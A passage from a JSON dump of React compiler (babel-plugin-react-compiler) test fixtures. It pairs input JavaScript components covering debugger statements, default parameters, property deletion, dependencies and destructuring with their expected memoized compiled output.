    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  debugger;\n  x.push(props.value);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.value) {\n    x = [];\n    debugger;\n\n    x.push(props.value);\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger-memoized.js",
    "content": "function Component(props) {\n  const x = [];\n  debugger;\n  x.push(props.value);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  debugger;\n  if (props.cond) {\n    debugger;\n  } else {\n    while (props.cond) {\n      debugger;\n    }\n  }\n  debugger;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  debugger;\n\n  if (props.cond) {\n    debugger;\n  } else {\n    while (props.cond) {\n      debugger;\n    }\n  }\n  debugger;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/debugger.js",
    "content": "function Component(props) {\n  debugger;\n  if (props.cond) {\n    debugger;\n  } else {\n    while (props.cond) {\n      debugger;\n    }\n  }\n  debugger;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(p) {\n  let x;\n  const foo = () => {\n    x = {};\n  };\n  foo();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(p) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const foo = () => {\n      x = {};\n    };\n\n    foo();\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/declare-reassign-variable-in-closure.js",
    "content": "function Component(p) {\n  let x;\n  const foo = () => {\n    x = {};\n  };\n  foo();\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  return (function t() {\n    let x = {};\n    let y = {};\n    return function a(x = () => {}) {\n      return (function b(y = []) {\n        return [x, y];\n      })();\n    };\n  })();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = function a(t1) {\n      const x_0 = t1 === undefined ? _temp : t1;\n      return (function b(t2) {\n        const y_0 = t2 === undefined ? [] : t2;\n        return [x_0, y_0];\n      })();\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/deeply-nested-function-expressions-with-params.js",
    "content": "function Foo() {\n  return (function t() {\n    let x = {};\n    let y = {};\n    return function a(x = () => {}) {\n      return (function b(y = []) {\n        return [x, y];\n      })();\n    };\n  })();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-array-with-unary.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(x = [-1, 1]) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? [-1, 1] : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [-1,1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-array-with-unary.js",
    "content": "function Component(x = [-1, 1]) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(x = identity([() => {}, true, 42, 'hello'])) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? identity([_temp, true, 42, \"hello\"]) : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  return x;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"[[ function params=0 ]]\",true,42,\"hello\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-calls-global-function.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(x = identity([() => {}, true, 42, 'hello'])) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(x = () => {}) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(t0) {\n  const x = t0 === undefined ? _temp : t0;\n  return x;\n}\nfunction _temp() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-empty-callback.js",
    "content": "function Component(x = () => {}) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(x = () => [-1, true, 42.0, 'hello']) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(t0) {\n  const x = t0 === undefined ? _temp : t0;\n  return x;\n}\nfunction _temp() {\n  return [-1, true, 42, \"hello\"];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/default-param-with-reorderable-callback.js",
    "content": "function Component(x = () => [-1, true, 42.0, 'hello']) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {a: props.a, b: props.b};\n  const key = 'b';\n  delete x[key];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    x = { a: props.a, b: props.b };\n\n    delete x[\"b\"];\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-computed-property.js",
    "content": "function Component(props) {\n  const x = {a: props.a, b: props.b};\n  const key = 'b';\n  delete x[key];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {a: props.a, b: props.b};\n  delete x.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n  let x;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    x = { a: props.a, b: props.b };\n    delete x.b;\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/delete-property.js",
    "content": "function Component(props) {\n  const x = {a: props.a, b: props.b};\n  delete x.b;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b) {\n  const x = [];\n  x.push(a);\n  <div>{x}</div>;\n\n  const y = [];\n  if (x.length) {\n    y.push(x);\n  }\n  if (b) {\n    y.push(b);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== a) {\n    x = [];\n    x.push(a);\n    $[0] = a;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let y;\n  if ($[2] !== b || $[3] !== x) {\n    y = [];\n    if (x.length) {\n      y.push(x);\n    }\n\n    if (b) {\n      y.push(b);\n    }\n    $[2] = b;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies-outputs.js",
    "content": "function foo(a, b) {\n  const x = [];\n  x.push(a);\n  <div>{x}</div>;\n\n  const y = [];\n  if (x.length) {\n    y.push(x);\n  }\n  if (b) {\n    y.push(b);\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(x, y, z) {\n  const items = [z];\n  items.push(x);\n\n  const items2 = [];\n  if (x) {\n    items2.push(y);\n  }\n\n  if (y) {\n    items.push(x);\n  }\n\n  return items2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(x, y, z) {\n  const $ = _c(3);\n  const items = [z];\n  items.push(x);\n  let items2;\n  if ($[0] !== x || $[1] !== y) {\n    items2 = [];\n    if (x) {\n      items2.push(y);\n    }\n    $[0] = x;\n    $[1] = y;\n    $[2] = items2;\n  } else {\n    items2 = $[2];\n  }\n\n  if (y) {\n    items.push(x);\n  }\n\n  return items2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/dependencies.js",
    "content": "function foo(x, y, z) {\n  const items = [z];\n  items.push(x);\n\n  const items2 = [];\n  if (x) {\n    items2.push(y);\n  }\n\n  if (y) {\n    items.push(x);\n  }\n\n  return items2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  [x] = props.value;\n  const foo = () => {\n    x = identity(props.value[0]);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [42]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.value) {\n    const [t0] = props.value;\n    x = t0;\n    const foo = () => {\n      x = identity(props.value[0]);\n    };\n\n    foo();\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = { x };\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [42] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":42}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-assignment-to-context-var.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  [x] = props.value;\n  const foo = () => {\n    x = identity(props.value[0]);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [42]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let [x] = props.value;\n  const foo = () => {\n    x = identity(props.value[0]);\n  };\n  foo();\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [42]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props.value) {\n    const [t0] = props.value;\n    x = t0;\n    const foo = () => {\n      x = identity(props.value[0]);\n    };\n\n    foo();\n    $[0] = props.value;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = <div>{x}</div>;\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [42] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>42</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-array-declaration-to-context-var.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let [x] = props.value;\n  const foo = () => {\n    x = identity(props.value[0]);\n  };\n  foo();\n  return <div>{x}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: [42]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.expect.md",
    "content": "\n## Input\n\n```javascript\nlet someGlobal = {};\nfunction component(a) {\n  let x = {a, someGlobal};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['value 1'],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nlet someGlobal = {};\nfunction component(a) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a, someGlobal };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"value 1\"],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":\"value 1\",\"someGlobal\":{}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-capture-global.js",
    "content": "let someGlobal = {};\nfunction component(a) {\n  let x = {a, someGlobal};\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['value 1'],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const [x = [-1, 1]] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: []}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  const [t0] = props.value;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = t0 === undefined ? [-1, 1] : t0;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: [] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [-1,1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-default-array-with-unary.js",
    "content": "function Component(props) {\n  const [x = [-1, 1]] = props.value;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: []}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction foo(props) {\n  let x, y;\n  ({x, y} = {x: props.a, y: props.b});\n  console.log(x); // prevent DCE from eliminating `x` altogether\n  x = props.c;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nfunction foo(props) {\n  let x;\n  let y;\n  ({ x, y } = { x: props.a, y: props.b });\n  console.log(x);\n  x = props.c;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-direct-reassignment.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nfunction foo(props) {\n  let x, y;\n  ({x, y} = {x: props.a, y: props.b});\n  console.log(x); // prevent DCE from eliminating `x` altogether\n  x = props.c;\n  return x + y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props: {\n  x?: string;\n  y?: string;\n  z?: string;\n  doDestructure: boolean;\n}) {\n  let x = null;\n  let y = null;\n  let z = null;\n  const myList = [];\n  if (props.doDestructure) {\n    ({x, y, z} = props);\n\n    myList.push(z);\n  }\n  return {\n    x,\n    y,\n    myList,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{x: 'hello', y: 'world', doDestructure: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(props) {\n  const $ = _c(9);\n\n  let x = null;\n  let y = null;\n  let z;\n  let myList;\n  if ($[0] !== props) {\n    myList = [];\n    if (props.doDestructure) {\n      ({ x, y, z } = props);\n\n      myList.push(z);\n    }\n    $[0] = props;\n    $[1] = myList;\n    $[2] = x;\n    $[3] = y;\n    $[4] = z;\n  } else {\n    myList = $[1];\n    x = $[2];\n    y = $[3];\n    z = $[4];\n  }\n  let t0;\n  if ($[5] !== myList || $[6] !== x || $[7] !== y) {\n    t0 = { x, y, myList };\n    $[5] = myList;\n    $[6] = x;\n    $[7] = y;\n    $[8] = t0;\n  } else {\n    t0 = $[8];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ x: \"hello\", y: \"world\", doDestructure: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":\"hello\",\"y\":\"world\",\"myList\":[null]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-in-branch-ssa.ts",
    "content": "function useFoo(props: {\n  x?: string;\n  y?: string;\n  z?: string;\n  doDestructure: boolean;\n}) {\n  let x = null;\n  let y = null;\n  let z = null;\n  const myList = [];\n  if (props.doDestructure) {\n    ({x, y, z} = props);\n\n    myList.push(z);\n  }\n  return {\n    x,\n    y,\n    myList,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{x: 'hello', y: 'world', doDestructure: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo() {\n  const {'data-foo-bar': x, a: y, data: z} = {'data-foo-bar': 1, a: 2, data: 3};\n  return [x, y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { \"data-foo-bar\": 1, a: 2, data: 3 };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const { \"data-foo-bar\": x, a: y, data: z } = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [x, y, z];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [1,2,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-mixed-property-key-types.js",
    "content": "function foo() {\n  const {'data-foo-bar': x, a: y, data: z} = {'data-foo-bar': 1, a: 2, data: 3};\n  return [x, y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  ({x} = props);\n  const foo = () => {\n    x = identity(props.x);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props) {\n    const { x: t0 } = props;\n    x = t0;\n    const foo = () => {\n      x = identity(props.x);\n    };\n\n    foo();\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = { x };\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":42}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-assignment-to-context-var.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x;\n  ({x} = props);\n  const foo = () => {\n    x = identity(props.x);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let {x} = props;\n  const foo = () => {\n    x = identity(props.x);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== props) {\n    const { x: t0 } = props;\n    x = t0;\n    const foo = () => {\n      x = identity(props.x);\n    };\n\n    foo();\n    $[0] = props;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  let t0;\n  if ($[2] !== x) {\n    t0 = { x };\n    $[2] = x;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":42}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-object-declaration-to-context-var.js",
    "content": "import {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let {x} = props;\n  const foo = () => {\n    x = identity(props.x);\n  };\n  foo();\n  return {x};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/destructure-param-string-literal-key-invalid-identifier.expect.md",
